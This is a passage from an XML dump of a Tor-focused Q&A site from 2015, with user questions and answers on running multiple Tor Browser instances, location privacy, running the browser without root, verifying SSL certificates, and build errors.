*)&#xA;      usage&#xA;      exit 0&#xA;     ;;&#xA;  esac&#xA;done&#xA;if [ -z &quot;$n&quot; ] || [ -z &quot;$p&quot; ];&#xA;then&#xA;  usage&#xA;  exit 0&#xA;fi&#xA;for i in `seq 1 $n`;&#xA;do&#xA;  CONTROL_PORT=$((9151+$i*2))&#xA;  SOCKS_PORT=$((9150+$i*2)) &#xA;  echo &quot;$i) Copying $p to TBB$i&quot;&#xA;  cp -r $p TBB$i&#xA;  echo &quot;$i) Creating user.js with SocksPort $SOCKS_PORT and ControlPort $CONTROL_PORT&quot;&#xA;  print_userjs $SOCKS_PORT $CONTROL_PORT &quot;./TBB$i/Browser/TorBrowser/Data/Browser/profile.default/user.js&quot;&#xA;  echo &quot;$i) Modifying torrc-default&quot;&#xA;  TORRC=&quot;./TBB$i/Browser/TorBrowser/Data/Tor/torrc-defaults&quot;&#xA;  sed -i &quot;s/SocksPort 9150/SocksPort $SOCKS_PORT/g&quot; $TORRC &#xA;  sed -i &quot;s/ControlPort 9151/ControlPort $CONTROL_PORT/g&quot; $TORRC&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But  when I run it, it  just generates a simple  file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And  the  default path to TBB  is  &quot; C:\Users\user-name\Desktop\Tor Browser\Browser\firefox.exe &quot; ? ? &lt;/p&gt;&#xA;" OwnerUserId="9910" LastEditorUserId="1730" LastEditDate="2015-11-20T15:56:44.327" LastActivityDate="2015-11-20T15:56:44.327" Title="run multiple tor on one system with different ip's?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9072" PostTypeId="1" CreationDate="2015-11-20T11:22:43.647" Score="4" ViewCount="152" Body="&lt;p&gt;I know My ISP will know my location based on the cell tower location I connect to. How about someone watching the entry Node. Can they determine my location. If so at what level. A country, state, city, GPS coordinates, cell tower I connect to, street address, one Mile squire area?&lt;/p&gt;&#xA;" OwnerUserId="7814" LastActivityDate="2016-02-13T18:30:47.693" Title="Can someone determine my location by watching the entry node" Tags="|anonymity|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9073" PostTypeId="2" ParentId="9071" CreationDate="2015-11-20T14:05:21.610" Score="2" Body="&lt;p&gt;This is a Bash script referenced in an answer to &lt;a href=&quot;https://tor.stackexchange.com/a/6954/1730&quot;&gt;another thread&lt;/a&gt;. It assumes you're running on a Linux machine. (Notice how all the file paths use &lt;code&gt;/&lt;/code&gt; instead of &lt;code&gt;\&lt;/code&gt;.) It won't work on a Windows machine without modification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I would suggest continuing with your &lt;a href=&quot;https://tor.stackexchange.com/questions/9023/how-to-run-multiple-tor-browsers-simultaneously-on-windows/9034?noredirect=1#comment8890_9034&quot;&gt;original thread&lt;/a&gt;, and updating your findings there.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-11-20T14:05:21.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9074" PostTypeId="2" ParentId="9040" CreationDate="2015-11-20T15:44:35.490" Score="0" Body="&lt;p&gt;&lt;strong&gt;NO&lt;/strong&gt;, nearly everything you change can expose your uniqueness! heck also the used browser bars, your history or the number of open tabs can be tracked...!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;that is why it is highly recommended to use Tails, the TBB or at least a TBB-profile!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;at &lt;a href=&quot;https://www.browserleaks.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.browserleaks.com/&lt;/a&gt; you can read about a bunch of things which can be leaked by your browser...&lt;br&gt;&#xA;or also try the test at &lt;a href=&quot;http://ip-check.info&quot; rel=&quot;nofollow&quot;&gt;http://ip-check.info&lt;/a&gt; to see some things of your browser that will be leaked!&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2016-02-28T14:53:36.060" LastActivityDate="2016-02-28T14:53:36.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9075" PostTypeId="2" ParentId="9070" CreationDate="2015-11-20T17:04:42.013" Score="3" Body="&lt;p&gt;When a normal, non-hidden service is behind a NAT router / firewall, it can not accept incoming connections from the internet, unless some port forwarding is configured in the router. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hidden services get around this problem because nobody needs to connect from outside the firewall to inside the firewall. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a client connects to a hidden service, both parties use an outbound connection to a rendez-vous point inside the Tor network. (Edit: not directly. It's Tor connection through a guard etc..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that is needed is that both are able to make outbound connections to the Tor network. So NAT is not a factor anymore. The firewall doesn't see any connections from outside to the (web?)-server inside. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-20T17:04:42.013" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9076" PostTypeId="2" ParentId="9063" CreationDate="2015-11-20T17:32:01.330" Score="0" Body="&lt;p&gt;Tor (the underlying protocol) only supports &lt;a href=&quot;https://en.wikipedia.org/wiki/Transmission_Control_Protocol&quot; rel=&quot;nofollow&quot;&gt;TCP&lt;/a&gt; connections, whereas lots of applications require &lt;a href=&quot;https://en.wikipedia.org/wiki/User_Datagram_Protocol&quot; rel=&quot;nofollow&quot;&gt;UDP&lt;/a&gt;. To enable &lt;em&gt;all&lt;/em&gt; of your outgoing connections to use Tor, you'd have to translate any UDP traffic to use TCP. (Whether this is possible would be its own topic. I don't know the answer.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, have a look at &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;, which is a standalone OS in which all traffic is sent over Tor. The global configuration is done for you. (The caveat being that you can still only use applications that support TCP.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-11-20T17:32:01.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9078" PostTypeId="2" ParentId="9072" CreationDate="2015-11-20T18:26:47.220" Score="2" Body="&lt;p&gt;When using a cellular data connection, you don't get an IP address for yourself. You are behind NAT. From the IP address, you could probably determine the country (+state?) and the carrier. The combination of IP, source port, and time would be enough to identify you if the adversary has the power to subpoena your ISP.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-20T18:26:47.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9080" PostTypeId="1" AcceptedAnswerId="9081" CreationDate="2015-11-21T10:15:30.123" Score="5" ViewCount="5359" Body="&lt;p&gt;If I want to use the Tor browser as a non root user is there a way to do it without having to completely logout of the root workspace and log back in as another user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically have the browser run without root privileges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Debian/Ubuntu Linux.&lt;/p&gt;&#xA;" OwnerUserId="5180" LastActivityDate="2020-04-20T03:02:58.910" Title="Use Tor browser as non-root Linux" Tags="|tor-browser-bundle|security|linux|ubuntu|debian|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9081" PostTypeId="2" ParentId="9080" CreationDate="2015-11-21T11:24:25.460" Score="3" Body="&lt;p&gt;You can run any command as a different user using &lt;code&gt;sudo&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u my_user tor-browser-en&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to use multiple commands you can do &lt;a href=&quot;https://github.com/l0b0/tilde/blob/9b409243533551993989910721dfb85a8b2d1868/.bash_history#L1689-L1699&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u my_user sh -c &quot;first &amp;amp;&amp;amp; second&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to background the application, you should &lt;em&gt;not&lt;/em&gt; do this (it will only work as expected if you're already authenticated with &lt;code&gt;sudo&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u my_user tor-browser-en &amp;amp; # Don't do this&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but rather this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u my_user sh -c 'tor-browser-en &amp;amp;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The latter will ensure that you're asked for the &lt;code&gt;sudo&lt;/code&gt; password &lt;em&gt;before&lt;/em&gt; the browser is run in the background.&lt;/p&gt;&#xA;" OwnerUserId="667" LastEditorUserId="667" LastEditDate="2015-11-21T11:29:56.937" LastActivityDate="2015-11-21T11:29:56.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9082" PostTypeId="1" CreationDate="2015-11-21T18:57:34.540" Score="0" ViewCount="558" Body="&lt;p&gt;If I'm being blocked from these sites, can I unblock?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9984" LastActivityDate="2015-11-23T04:46:27.970" Title="Why can't I sign on to Ebay or Craigslist?" Tags="|blocked-services|blocked|" AnswerCount="1" CommentCount="5" ClosedDate="2015-11-27T15:44:49.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="9084" PostTypeId="1" AcceptedAnswerId="9090" CreationDate="2015-11-22T05:04:49.320" Score="2" ViewCount="5697" Body="&lt;p&gt;I opened up Tor, and was told that my browser was outdated.  I downloaded the new version and copied over the original.  Now I receive this very vague error: (See screenshot.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The application &quot;TorBrowser&quot; can't be opened. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've reinstalled, rebooted, checked sys prefs to allow for execution of any app, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KxosT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KxosT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9993" LastEditorUserId="350" LastEditDate="2015-11-25T19:59:07.780" LastActivityDate="2016-03-30T13:35:35.567" Title="The application &quot;TorBrowser&quot; can't be opened" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9087" PostTypeId="1" AcceptedAnswerId="9096" CreationDate="2015-11-22T22:39:16.497" Score="1" ViewCount="164" Body="&lt;p&gt;Let's suppose I go to &lt;a href=&quot;https://www.example.com&quot; rel=&quot;nofollow&quot;&gt;https://www.example.com&lt;/a&gt; using Tor. I check that the URL is correct, and the lock icon is present. But the exit node could be run by an adversary who uses a MITM attack and intercepts all the traffic.&#xA;I download the SSL cert, then download the SSL cert from the same webpage, not through Tor, and do a binary comparison. Or else I compare the cert's serial number and SHA-256 fingerprint. If they match, can I be guaranteed the website viewed through Tor is legit? Or can those details be faked?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming the genuine cert for example.com has not been compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at plugins like convergence, but my questions relates specifically to checking the cert manually.&lt;/p&gt;&#xA;" OwnerUserId="9999" LastEditorUserId="350" LastEditDate="2015-11-25T19:55:43.337" LastActivityDate="2015-11-25T19:55:43.337" Title="Manually check the SSL cert to avoid MITM on https?" Tags="|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9089" PostTypeId="2" ParentId="2173" CreationDate="2015-11-23T01:33:58.317" Score="0" Body="&lt;p&gt;Actually, Tor acts like a tunnel, so - use SOCKS ot transproxying JUST to connect as usual : with SSL or via IRC... There should be no obstracle in Tor layer itself.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-11-23T01:33:58.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9090" PostTypeId="2" ParentId="9084" CreationDate="2015-11-23T01:41:34.120" Score="-1" Body="&lt;p&gt;I had the same problem. You can open it with the following in the terminal: &lt;code&gt;open /Applications/TorBrowser.app/Contents/MacOS/firefox&lt;/code&gt; &lt;/p&gt;&#xA;" OwnerUserId="10002" LastActivityDate="2015-11-23T01:41:34.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9091" PostTypeId="2" ParentId="7101" CreationDate="2015-11-23T04:41:32.663" Score="0" Body="&lt;p&gt;You actually can use an intermediate socks agent on 127.0.0.2 for example, and there your magic goes : you're passing all the localhost stuff directly, leaving the rest for Tor.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-11-23T04:41:32.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9092" PostTypeId="2" ParentId="9082" CreationDate="2015-11-23T04:46:27.970" Score="0" Body="&lt;p&gt;If the website endpoint blocks Tor users, it seems to be almost impossible, but there's an option : take a look at SSH tunneling and take a VPS for such purposes. But if they've implanted a persistent cookie(like Evercookie) to your system, then it will not help you either. And there's an optional check : if the website side is not parsing Tor public lists of outpoints - it can be possible to obtain an exit node that is not publishing a standart &quot;I'm an exit node&quot; page&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-11-23T04:46:27.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9093" PostTypeId="2" ParentId="9072" CreationDate="2015-11-23T04:51:22.497" Score="0" Body="&lt;p&gt;Actually some extensions allow web/active content to access even your GPS data, so - basically, rather &quot;yes&quot; than &quot;no&quot;, but it will be really difficult&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-11-23T04:51:22.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9094" PostTypeId="2" ParentId="3239" CreationDate="2015-11-23T05:00:35.213" Score="0" Body="&lt;p&gt;Even if you're behind a router, that will silently route all the traffic via Tor - take a look at this &lt;a href=&quot;https://github.com/samyk/evercookie&quot; rel=&quot;nofollow&quot;&gt;https://github.com/samyk/evercookie&lt;/a&gt; ... &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-11-23T05:00:35.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9095" PostTypeId="2" ParentId="7308" CreationDate="2015-11-23T08:12:20.477" Score="1" Body="&lt;p&gt;While providing that type of feature would defeat the purpose of using tor, you could create an iframe using the .onion address and appending .to at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &#xA;&lt;a href=&quot;http://2v7ibl5u4pbemwiz.onion&quot; rel=&quot;nofollow&quot;&gt;http://2v7ibl5u4pbemwiz.onion&lt;/a&gt;&#xA;   would change to&#xA;&lt;a href=&quot;http://2v7ibl5u4pbemwiz.onion.to&quot; rel=&quot;nofollow&quot;&gt;http://2v7ibl5u4pbemwiz.onion.to&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to create a seperate page and modify the HTML. There are plugins to let you add custom HTML as a side panel as well.&lt;/p&gt;&#xA;" OwnerUserId="9948" LastActivityDate="2015-11-23T08:12:20.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9096" PostTypeId="2" ParentId="9087" CreationDate="2015-11-23T19:01:28.560" Score="1" Body="&lt;p&gt;You can see the certificate information and export the cert:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click the lock,&lt;br&gt;&#xA;More Information,&lt;br&gt;&#xA;Security,&lt;br&gt;&#xA;View Certificate,&lt;br&gt;&#xA;Details,&lt;br&gt;&#xA;Export.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to download two certificates and compare them (but you can if you want to). Export the cert as a file and then:&lt;br&gt;&#xA;&lt;code&gt;openssl x509 -noout -text -in filename&lt;/code&gt; ; where &lt;em&gt;filename&lt;/em&gt; is the cert you exported.&lt;br&gt;&#xA;You can also check the serial number and fingerprint at online ssl cert checkers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exit node should not be able to fake a cert for the domain you're connecting to. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-23T19:01:28.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9097" PostTypeId="2" ParentId="249" CreationDate="2015-11-24T01:01:53.420" Score="0" Body="&lt;p&gt;Literally, nothing. Even one SINGLE packet pre-constructed for a vulnerable recepient is enough to make a headshot... So just adjust your bandwidth to your desired channel share and let it be so. You can also be a part of network attack just being infected by virus without even knowing what Tor is, not even running a relay. &lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2015-11-24T01:01:53.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9098" PostTypeId="2" ParentId="1438" CreationDate="2015-11-24T13:55:00.407" Score="0" Body="&lt;p&gt;On GNU/Linux, there is the &lt;code&gt;tor&lt;/code&gt; command and we can change the country exit node with a single command &lt;code&gt;tor -ExitNodes {fr}&lt;/code&gt; for France or &lt;code&gt;tor -ExitNodes {de}&lt;/code&gt; for Germany (Deutschland) for example. But to create a new circuit to change the IP address, I have to press Ctrl+C and start the command again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there is an interactive shell, or command parameter to create a new circuit. If you do it programmatically, you will have to kill the process and start it again, so if someone has an easier solution to change the identity, your welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cleaner method would be to use the NEWNYM signal like @Jens Kubieziel said but it would be easier if it was available as a command parameter like &lt;code&gt;tor -new-identity&lt;/code&gt; or &lt;code&gt;tor -new-circuit&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9339" LastEditorUserId="9339" LastEditDate="2015-11-24T15:25:28.630" LastActivityDate="2015-11-24T15:25:28.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9101" PostTypeId="1" CreationDate="2015-11-25T18:21:35.350" Score="0" ViewCount="391" Body="&lt;p&gt;I'm trying to install Tor on my Mac but it shows the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Applications/Xcode.app/Contents/Developer/usr/bin/make  all-am&#xA;  CCLD     src/or/tor&#xA;Undefined symbols for architecture x86_64:&#xA;  &quot;_SSL_set_session_secret_cb&quot;, referenced from:&#xA;      _tor_tls_new in libor-crypto.a(tortls.o)&#xA;      _tor_tls_session_secret_cb in libor-crypto.a(tortls.o)&#xA;  &quot;_EVP_aes_128_ctr&quot;, referenced from:&#xA;      _aes_new_cipher in libor-crypto.a(aes.o)&#xA;  &quot;_CRYPTO_THREADID_set_numeric&quot;, referenced from:&#xA;      _tor_set_openssl_thread_id in libor-crypto.a(crypto.o)&#xA;  &quot;_CRYPTO_THREADID_set_callback&quot;, referenced from:&#xA;      _crypto_early_init in libor-crypto.a(crypto.o)&#xA;ld: symbol(s) not found for architecture x86_64&#xA;clang: error: linker command failed with exit code 1 (use -v to see invocation)&#xA;make[1]: *** [src/or/tor] Error 1&#xA;make: *** [all] Error 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10030" LastEditorUserId="350" LastEditDate="2015-11-25T19:51:00.360" LastActivityDate="2015-11-25T19:57:26.230" Title="Error installing Tor on my Mac" Tags="|source-code|error|mac|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9102" PostTypeId="2" ParentId="9101" CreationDate="2015-11-25T18:57:12.313" Score="2" Body="&lt;p&gt;This is a linker error, meaning you're (probably) missing a library that's required for Tor to build properly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Undefined symbols for architecture x86_64: &quot;_SSL_set_session_secret_cb&quot;, referenced from: _tor_tls_new in libor-crypto.a(tortls.o)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These mean that the Tor code is trying to use &lt;code&gt;_SSL_set_session_secret_cb&lt;/code&gt;, &lt;code&gt;_EVP_aes_128_ctr&lt;/code&gt;, &lt;code&gt;_CRYPTO_THREADID_set_numeric&lt;/code&gt;, and &lt;code&gt;_CRYPTO_THREADID_set_callback&lt;/code&gt;, but can't find them. This means they must reside in some code - probably a library - that either isn't on your machine, or is in the &quot;wrong&quot; place. (i.e. A place where the compiler doesn't know to look.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick Google shows that they're part of OpenSSL, which suggests that &lt;code&gt;libssl&lt;/code&gt; isn't present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you're on Ubuntu (or another Debian-based system), you can following the instructions described &lt;a href=&quot;https://help.ubuntu.com/community/OpenSSL&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to either install the library, or check it's in the correct place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To install on Mac, see this thread: &lt;a href=&quot;https://stackoverflow.com/questions/9874728/openssl-install-issue-to-mac&quot;&gt;https://stackoverflow.com/questions/9874728/openssl-install-issue-to-mac&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, full details of the libraries that are required are included in a previous (Ubuntu-related) thread: &lt;a href=&quot;https://tor.stackexchange.com/questions/75/how-can-i-install-tor-from-the-source-code-in-the-git-repository&quot;&gt;How can I install Tor from the source code in the Git repository?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-11-25T19:57:26.230" LastActivityDate="2015-11-25T19:57:26.230" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9103" PostTypeId="1" CreationDate="2015-11-25T22:39:53.727" Score="0" ViewCount="1964" Body="&lt;p&gt;I'm using Debian 7 server. I will try to use proxychains. Is it possible to see the current Tor circuit (IP addresses) via terminal?&lt;/p&gt;&#xA;" OwnerUserId="10031" LastEditorUserId="350" LastEditDate="2015-11-26T09:05:40.563" LastActivityDate="2016-07-12T07:53:03.943" Title="Displaying the Tor circuit via terminal" Tags="|circuit|linux|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9104" PostTypeId="2" ParentId="9103" CreationDate="2015-11-25T23:26:50.157" Score="1" Body="&lt;p&gt;To get circuit information you'll &lt;a href=&quot;https://stem.torproject.org/tutorials/the_little_relay_that_could.html&quot; rel=&quot;nofollow&quot;&gt;need a ControlPort&lt;/a&gt;. Here's a couple example scripts that provide circuit information...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stem.torproject.org/tutorials/examples/list_circuits.html&quot; rel=&quot;nofollow&quot;&gt;Script to list current circuits&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stem.torproject.org/tutorials/examples/exit_used.html&quot; rel=&quot;nofollow&quot;&gt;Script to show information about exit relays you use&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-11-25T23:26:50.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9105" PostTypeId="1" CreationDate="2015-11-26T00:29:41.210" Score="1" ViewCount="139" Body="&lt;p&gt;What specific information about your mobile device is shared with a web host see when accessing it through the red browser app? &lt;/p&gt;&#xA;" OwnerUserId="10033" LastActivityDate="2016-04-27T18:56:56.337" Title="Red Browser App &amp; mobile device tracking" Tags="|mobile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9106" PostTypeId="1" CreationDate="2015-11-26T02:24:08.840" Score="1" ViewCount="1387" Body="&lt;p&gt;I just downloaded Tor Browser via &lt;code&gt;apt-get install tor-browser&lt;/code&gt; and when I run it, it starts a little update window saying the tarball will be downloaded, but then it says: &lt;em&gt;&quot;Download Error: 404 not found.&quot;&lt;/em&gt;&lt;br&gt;&#xA;I'm running a fresh stable Debian 8.&lt;/p&gt;&#xA;" OwnerUserId="10036" LastEditorUserId="350" LastEditDate="2015-11-26T09:47:24.997" LastActivityDate="2015-11-26T09:47:24.997" Title="Tor first update: 404 not found" Tags="|tor-browser-bundle|configuration|debian|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9107" PostTypeId="1" CreationDate="2015-11-26T04:07:51.767" Score="-1" ViewCount="114" Body="&lt;p&gt;What is the deal with allowing Mozilla to host Tor relay nodes?&lt;br&gt;&#xA;They say their contribution will help to greatly expand and improve the Tor network, yet despite all the recent spin on the truth about privacy that Mozilla is putting out with version Firefox V.42, they are still responding to government info requests, and would not hesitate to allow eyes on their nodes. This brings up an obvious question:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor seems to allow anybody to host a relay. How is this safe?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I was a fed, I would host many relays and just fish all day.  &lt;/p&gt;&#xA;" OwnerUserId="10038" LastEditorUserId="350" LastEditDate="2015-11-26T09:00:53.023" LastActivityDate="2015-11-28T23:14:14.487" Title="Mozilla now hosting Tor relay nodes" Tags="|anonymity|security|relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9108" PostTypeId="1" CreationDate="2015-11-26T07:46:25.710" Score="1" ViewCount="35653" Body="&lt;p&gt;I am trying to locate saved bookmarks on a OS X slave drive that once used Tor. Where are Tor bookmarks saved in the OS X file structure?  &lt;/p&gt;&#xA;" OwnerUserId="10038" LastEditorUserId="350" LastEditDate="2015-11-26T09:10:18.043" LastActivityDate="2022-01-08T02:37:02.527" Title="Tor Bookmarks file location" Tags="|tor-browser-bundle|mac|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9109" PostTypeId="2" ParentId="343" CreationDate="2015-11-26T08:17:04.710" Score="1" Body="&lt;p&gt;EDIT: The two addresses below now both redirect to &lt;a href=&quot;http://sigaintevyh2rzvw.onion/&quot; rel=&quot;nofollow&quot;&gt;http://sigaintevyh2rzvw.onion/&lt;/a&gt;, so it seems they closed their node. I'm not aware of any other public Freenet node on TOR.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Yes. There is a public Freenet node on TOR, or maybe there are two.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freenet7cul5qsz6.onion/&quot; rel=&quot;nofollow&quot;&gt;http://freenet7cul5qsz6.onion/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://freenovfka2ploir.onion/&quot; rel=&quot;nofollow&quot;&gt;http://freenovfka2ploir.onion/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They are both set up identically, even with the same information on an about page (&lt;a href=&quot;http://freenet7cul5qsz6.onion.link/constant/about.html&quot; rel=&quot;nofollow&quot;&gt;freenet7...&lt;/a&gt;, &lt;a href=&quot;http://freenovfka2ploir.onion.link/constant/about.html&quot; rel=&quot;nofollow&quot;&gt;freenov...&lt;/a&gt;), so I don't know if they are the same machine with two addresses or if one is a mirror of the other. &lt;code&gt;freenet7...&lt;/code&gt; seems to be the official one, but maybe they put up the other address because the original is &lt;a href=&quot;https://ahmia.fi/address/freenet7cul5qsz6.onion&quot; rel=&quot;nofollow&quot;&gt;blocked in the ahmia.fi index&lt;/a&gt;, probably due to the unaccepted, now filtered, content mentioned in the about page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's run by the SIGAINT people, who &lt;a href=&quot;https://www.reddit.com/r/onions/comments/34fdz0/sigaint_freenet_proxy/&quot; rel=&quot;nofollow&quot;&gt;bought it from the previous admin earlier this year&lt;/a&gt;. (announcement on /r/onions, see also the about page mentioned earlier)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, this in combination with e.g. &lt;a href=&quot;http://onion.link/&quot; rel=&quot;nofollow&quot;&gt;http://onion.link/&lt;/a&gt; means that Freenet is now &lt;a href=&quot;https://encrypted.google.com/search?hl=en&amp;amp;q=site%3Afreenet7cul5qsz6.onion.link&quot; rel=&quot;nofollow&quot;&gt;indexed by Google&lt;/a&gt; (about 5000 results).&lt;/p&gt;&#xA;" OwnerUserId="7397" LastEditorUserId="7397" LastEditDate="2016-07-16T12:05:15.003" LastActivityDate="2016-07-16T12:05:15.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
